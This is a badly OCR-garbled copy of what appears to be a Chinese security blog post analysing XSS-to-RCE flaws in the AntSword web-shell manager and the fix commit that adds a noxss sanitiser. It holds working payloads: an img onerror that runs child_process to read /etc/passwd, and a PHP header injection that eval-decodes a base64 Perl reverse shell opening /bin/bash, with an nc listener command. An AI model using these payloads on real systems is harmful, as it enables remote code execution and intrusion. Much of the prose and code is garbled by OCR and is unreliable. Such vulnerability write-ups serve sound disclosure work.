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AntSword

AntSword in your hands, no worries in your mind!

AntSword is an open source, cross-platform website administration tool, being designed to meet the needs of
penetration testers together with security researchers with permissions and/or authorizations as well as
webmasters.

Anyone shall not use it for illegal purposes and profitability. Besides that, publishing unauthorized modified version
is also prohibited, or otherwise bear legal responsibilities.

This software, of which the development thought is modularization, is intended to provide easy-to-understand codes and
modification guidelines for users of different levels. Therefore, any contribution making by everyone to this project is
encouraged, whether large or small. By doing so, this tool can be more convenient and consequently become your most
powerful kit!

F3235%B8 / Document / Changelog

Development stack

e Electron
e ES6

e dhtmix
¢ Nodejs

e And other libraries called in the project.
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ON ) AntSword
4 1 J 1
i= Shell Lists (0) ‘ = Category (2)
URL P ‘ ’ ©Add A Rename

RS- 3 Defau

1 Del

) (0]
BRINXSS | HF4NGIREElectronFF A , HEIfERFRY L T iZEnode , FEFKATAILAERnodetEH#1TRCE
poc:
<img src=# onerror="require('child_process').exec('cat /etc/passwd', (error, stdout, stderr)=>{
alert( stdout: ${stdout} );
})st>
& @ AntSword ]
G stdout: ## l ’
i= Shell Lists (0) # User Database l im Category (2) »
# [
URL P ‘ # Note that this file is consulted directly only | OAdd  ARename M Del
when the system is running
# in single-user mode. At other times this e o
information is provided by ) (0]
# Open Directory.
#
# See the opendirectoryd(8) man page for
additional information about
# Open Directory.
##
nobody:*:-2:-2:Unprivileged User:/var/
empty:/usr/bin/false
root:*:0:0:System Administrator:/var/root:/
bin/sh
daemon:*:1:1:System Services:/var/root:/usr/
bin/false
_uucp:*:4:4:Unix to Unix Copy Protocol:/var/
spool/uucp:/usr/sbinfuucico
_taskgated:*:13:13:Task Gate Daemon:/var/
empty:/usr/bin/false
_networkd:*:24:24:Network Services:/var/
networkd:/usr/bin/false
_installassistant:*:25:25:Install Assistant:/
var/empty:/usr/binffalse
_Ip:*:26:26:Printing Services:/var/spool/
cups:/usr/bin/false
_postfix:*:27:27:Postfix Mail Server:/var/
spool/postfix:/usr/bin/false
_scsd:*:31:31:Service Configuration Service:/
var/empty:/usr/binffalse
_ces:*:32:32:Certificate Enroliment Service:/
var/empty:/usr/binffalse
_appstore:*:33:33:Mac App Store Service:/ J Success
var/empty:/usr/bin/false Delete 1 shells success!
_mcxalr:*:54:54:MCX AppLaunch:/var/empty:/
: — — — . usr/bin/false —
[ “‘ _appleevents:*:55:55: AppleEvents Daemon:/
} varfempty:/usr/bin/false
_geod:*:56:56:Geo Services Daemon:/var/db/
geod:/usr/bin/false
B = /\F
Jo= I|E..|
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LN AntSword
« a2 »
i= Shell Lists (0) i Category (1) >
URL P ADDR NOTE CTIME UTIME © Add A Rename @ Del
[ Default 0
™ Add shell — =] 3

© Add x Clear 3% Test Connection

B Base v

Shell url * http://123.com/<img src=# onerror=alert(1)>

Shell pwd * <img src=# onerror=alert(1)>

Note [<img src=# onerror=alert(1)>|

Encode UTF8 v

Shell type PHP b
Encoder

*' default (Not
recommended)

() random (Not
recommended)

 HTTP A~

% Other A

PAE=ANm#Be] LAXSSIERERCE |, pockl EE—#F , BiAMBIER 7 |, TRFIEIXLREIL Tissue

ERERE

Medicean commented 6 days ago

R, X2 self-xss, HAASWBEE.

4 evOA changed the title There-is-4-RCE-Vulnerabil

WEAIFAself-xssT , RER , EARUEIE10007 star , (BRXNEFSCECEIGH) , E—RTLFBRIS IR EEE CRIMEHESEIA
ILBIAFTF | XSRSV 2ATERER.

T - XPONERTERVSEEE IR E 2B MEFRY |, (EE~/IEIREER/antData/db.ant 34 HRLUSONTET U TIF#E
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2019/8/3 8% G RCESZIRIE AR KRR 4 - 222, AT &
L JON FRE S
« 82
ERIEEE (1)
URLitahE IPithhk PRI E P & e ] EXAl)E
http://127.0.0.1/2.php 127.0.0.1 IANA {REBithhtF 2019/03/26 19:59:00 2019/03

BARBBINEAERE | (BEX IR+ 8B REX MR EREEE I EIR |

e,"server":null,"writable":false},

[],"decoder":null,"detaultEncoding™:
"utf8" "emittedReadable": false,"enc
oding":null,"endEmitted":false,"end
ed":false,"flowing":true,"highWater
Mark":16384,"length":0,"needRcad
able":true,"objectMode":false,"pipes
"null,"pipesCount":0,"ranOut":false
,'readableListening":false,"reading"
:true,"readingMore": ,"resumeS
cheduled":false,"sync":false}," serv
er":null," sockname":null," writabl
eState":

{"bufferProcessing":false,"buffered
Request":null,"bufferedRequestCou
nt":0,"corked":0,"corkedRequestsFr
ee": {"entry":null,"next":

{"entry":null,"next":null} },"decode
Strings":false,"defaultEncoding

n.n

'ut
f8","ended":true,"ending":true,"erro
rEmitted":false,"finished":true,"high
WaterMark":16384,"lastBufferedRe
quest'":null,"length":0,"needDrain":f
alse,"objectMode":false,"pendingcb
":0,"prefinished":true,"sync":false,"
writecbh":null,"writelen":0,"writing":
false},"allowHalfOpen":false,"conn
ecting":false,"destroyed":true,"doma
in":null,"parser":null,"readable": fals
e,"server":null,"writable":false},"sta
tusCode":500,"statusMessage":"Inte
rnal Server Error","trailers":
{},"upgrade":false,"url":""},"server
Error":true,"status":500,"statusCode
":500,"status Type":5,"type": "text/ht
ml","unauthorized":false,"unprocess
ableEntity":false},"status":500}

AFET—&  KIXL—TE

'sta

tusCode":500,"statusMessage":"Inte

rnal Server Error'","trailers":

XAFZHTTPRPASHBAERE | EXEhttpCKESBETLEEENS , AERSEREILUBEEN , AASSEFTERET , T

R FHITE

<?php

header('HTTP/1.1 500 <img src=# onerror=alert(1)>"');

0O0®

FE WS

« =8 0 127.0.0.1

ER—MXR)S (O S (B) FH , =4
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<?php

header ("HTTP/1.1 406 Not <img src=# onerror='eval(new

Buffer (" cmVxdWlyzSgnY2hpbGRfcHIVY2VzcycpLmV4ZWMoI3BlcmwglLWUgXCd1lc2UgU29ja2ve0yRpPSIXMjcuMCAwLJELIOyRWPTEWMDI7c29ja2VOKFMs

?>

base642EN5I1SAE TR , REESHmIDTERFDeval, fEABFRIAED

require('child_process').exec('perl -e 'use

Socket;$i="127.0.0.1";$p=1002;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton(

{open(STDIN, ">&S" ) ;open(STDOUT, ">&S") ;open(STDERR, ">&S");exec("/bin/bash -i");};"", (error, stdout, stderr)=>{
alert (" stdout: ${stdout} );

1)

WishelllF

1. nc -1 1002

HEBEEWEIXAFIXA shel BASHRT

TRIB T
XEBEHIEERE—Self-xssHCRIHEN
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Fix #134 {EE2R43 self-xss B|E2AI{FI8 105

v Loading branch informaticn

s Medicean committed Mar 20, 2019

1 parent c2+5432

Showing 3 changed files with 4 additions and 4 deletions.

4 WMEER  source/modules/filemanager/files

.Jjs

e @@ -34,7 +34,7 @@ class Files {

for{let gb in global_bookmarks) {

bookmark_opts.push({

id: 'bookmark_'+ global_bookmarks[gb],

- text: gb,

+ text: antSword.noxssigh),

icon: 'bookmark',

type: 'button',

enabled: manager.path !== global_bookmarks[gh]

e

for (let

@@ -47,7 +47,7 @@ class Files {

bookmark_opts.push({

id: 'bookmark_

+

- text: bookmark[_],

—F

_ in bookmark) {

+ text: antSword.noxss(bookmark[_]),

icon: 'bookmark-o',

type: 'button',

enabled: manager.path !==

=

2 Em source/modules/shellmanager/data

.Jjs

H2 @@ -26,7 +26,7 @@ module.exports

data.push({
id: _['_dd'1,
data: [

= 4

- _['wrl*l, _['ip'], _['addr’], _['note'],

+ antsword.noxss(_['url']), _['ip'], _['addr'], antSword.noxss(_['note']),

new Date(_['ctime']).Fformat( 'yvyyy/MM/dd hh:mm:s5'),

new Date(_['utime']).format( ' yyyy/ MM dd hh:mm:ss"')

\
\; J.
:

J.
if (!%.isEmptyObject(bookmark)) {
bookmark_opts.push({ type: 'separator’ });
i
for (let _ in bookmark) {
bookmark_opts.push({
id: 'bookmark_' + _,
= text: antSword.noxss(bookmark[_]),
icon: 'bookmark-o”,
type: 'button',

BHTEE R R HIX M E R T noxssEREH

@par
@par
@ret

let

EREAIEFREAR | 18& < > "Btk

https://www.anquanke.com/post/id/176379

am
afm
urn

if (!$.isEmptyObject(bookmark)) {
bookmark_opts.push({ type: 'separator’ });
i
for (let _ in bookmark) {
bookmark_opts.push({
id: "bookmark_' +
- text: bookmark[_],
icon: "bookmark-o”,
type: 'button’,

T , £2B&EHKnoxssERE

(html wrap

=/

T

, BOARBHIRIT, AT ER TR IER exp 2 RRY

Browse files

Unified

View file

View file

commit ae69982a54ealacdde@BBadiSi%a2b@e2cl85dB4d

Split

ot

ot
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JS indexjs source\modules\database\asp

/{ arr.push({antSword.noxss( ));

35 indexjs source\modules\database\custom
// arr.push(antSword.noxss());

JS indexjs source\modules\database\php
_data[i] = antSword.noxss(text);

// _data[i] = antSword.noxss(new Buffer(_datali], "base64")....
_data[i] = antSword.noxss(text, false);

5 files.js source\modules\filemanager

text: antSword.noxss(gb),

text: antSword.noxss(bookmark]{_]),

text: antSword.noxss(c),

antSword.noxss(file['name‘].replace(/\/$/, ™)),

antSword.noxss(file['time"),

s(
antSword.noxss(self fileSize(parselnt(file['size]))),
s(fi

antSword.noxss(file[ attr])

35 folder.js source\modules\filemanager

id: antSword.noxss(_path),

text: antSword.noxss((_.length === 1 || (_.endsWith(":/") &&...
J5 indexjs source\modules\filemanager 4
value: antSword.noxss(name.replace(/\/$/, ")).
rename’][title]} (${antSword.noxss(name)})”

retime’]['title T} (${antSword.noxss(name)})’,

chmod[title]} (${antSword.noxss(name)})’,

JS tasks.js source\modules\filemanager
antSword.noxss(name),

antSword.noxss(desc),

JS adefault.js source\modules\settings

antSword.noxss(t),
antSword.noxss(self.filemanager_settings.bookmarks|t])
JS encodersjs source\modules\settings

addRow(_id, "${_id},${antSword.noxss(value)}, ${t} );

JIFFRENFrEREEMM TR , BT AEERIINEREREEFRRETRR. TERESNEBER LSRR, AFERER
EEEERAWHIEHEE | BRI EES E mEhttplE A RAERANIE =R |, FrllSc e BE K httpROEEINBEa RS , BT
httpiEE—R BT O E2BREESE. FITMNANO FappjsEiS. (@i package jsonfie& X4AImainfBEXIEN O34 Rapp.js )

NOME—HF801T , HRARAONESINT 6N , Edfirequest R B ER RFCMEIERAISLE |, BRES T,
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1, a month ago | 3 authors (Medicean and others)

Medicean, 3 months ago | 3 authors (Medicean and others)

class {

LB TR XS IS RMEERIOEEIAE , TEE131T , RIRAHIINT— MEBsuperagent , JXE—
nodeBIRBRMIETERIESR , H{F pythoniirequestse , FHARTLUBREILRE R MNEREMEER , iBkssuperagentds i

@param
@param
@return

(event, opts) {

(
1. (

FEL0MTRI , FHE T —INEIEKR , HEBRERISRE T _requestBEl , MIAMTHYERE e R INX B RIZSLIAIRNZLE B R AR/
IEKAYTRE |, FTLAMIXEEFHRIBER requestTE,
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((res, callback) =» {

( [ 1, I, (chunk) => {
( [ 1,

(err, ret)=»{

QF

, 1defaultEncoding:
)5

text:
buff:
encoding:

F

);

(err) =» {
) {
(

MI1231TRI121T R AMEIENK , FE1511T , JA-EmRAIRHERSEE—Mrequest-errorigi® , FEERTRIRER , HEZEA
B EEREIRGIE | TEEBEZrequest-error,

4 J5 requestjs modules
return event.sender.send('request-error-" + opts[‘hash’], "BL.
return event.sender.send('request-error-" + opts[‘hash'], "Bl..

return event.sender.send('request-error-" + opts[hash’], err);

return event.sender.send('request-error-' + opts[‘hash’], err);

return event.sender.send('request-error-" + opts[hash’], err);

( | I'n

( | I'n

( | ]
return event.sender.send('request-emror-" + opts[hash’], err);

( | 1

( | ]

( | I'n

return event.sender.send('request-error-" + opts[‘hash’], "BL.
4 J5 basejs source\core 1

.once( request-error-${hash}, (event, ret) => {

1REAE , ER#Hbase js
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@return

(code, chunkCallBack) {

const

const ( ( ) (Math.

IXERFE W T —requestBEL , HEF T httpiEK , FEMITEIrequest-error- SRR S ETRERE promisefirejectik7 , FELfEH
errorfSE. , retZFEHE FEHEET R err, rejiEpromisefreject , NEpromiseflIATZEEEpromise, SABHZEIHAtrequest
B catchiiizk, FTLAS/SiEZRrequestEL
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nsnippet IHTTPRequest\n  IIHTTPRequest(${1:string url},...
4 J5 dhtmixjs static\libs\dhtmix\codebase 7

XMLHttpRequest&&!dhx4.islE?new XMLHttpRequest():new ..

EERYIFRE KA database filemanager,shellmanager& S4ERAR T requestiRiEy , HFIEIRIshell 5e2FI B R | FRLASS—
MRIE KA RER RS B FRE , MEIINEIREEMEES AN EREEEML | FiLAIR#Hfilemanager

(p, callback) {

https://www.anquanke.com/post/id/176379 13/18


https://cdn.nlark.com/yuque/0/2019/png/298354/1554992450103-44434ac2-b63c-4862-ab5c-8cbac57f8697.png#align=left&display=inline&height=894&name=%E5%9B%BE%E7%89%87.png&originHeight=894&originWidth=458&size=47986&status=done&width=458
https://cdn.nlark.com/yuque/0/2019/png/298354/1554992660459-2bc78f24-2b05-4ea0-9a3d-434d7b8d3408.png#align=left&display=inline&height=124&name=%E5%9B%BE%E7%89%87.png&originHeight=124&originWidth=590&size=11193&status=done&width=590

2019/8/3

name :
time:
size:
attr:

, JSON.

E16617 M T VAR T requestt®E , 20417 catchiigxk 7 BilEpromisefireject , FHRIGeriBIREEjsont& Rt FE1ELStoastr.erronX
PDEREL. toastrB—FNEERAIBRIERE avascripthifft , FESX/MMEGIRIE

https://www.anquanke.com/post/id/176379 14/18


https://cdn.nlark.com/yuque/0/2019/png/298354/1554992735397-5a4cf52a-a061-4625-85b4-251e17ecbfbe.png#align=left&display=inline&height=877&name=%E5%9B%BE%E7%89%87.png&originHeight=877&originWidth=933&size=45766&status=done&width=933

2019/8/3

WO PRRCERAIL B KRR AT - 22 20%, HAVERTA
1. A IO

1 | toastr.success('Hello world!', 'Toastr fun!'};

Toastr funl

v Hello world!

2. 5B

1 | toastr.infof'We are open today from 18 to 22', 'Information');

Q Information
We are open today from 10 to 22

3EERET

1 | toastr.error{'Your credentials are gone', 'Error');

0 Error
Your credentials are gone

AESET

1 | toastr.warning('Your computer is about to explode!', 'Warning');

A\ s
Your computer is about to explode!
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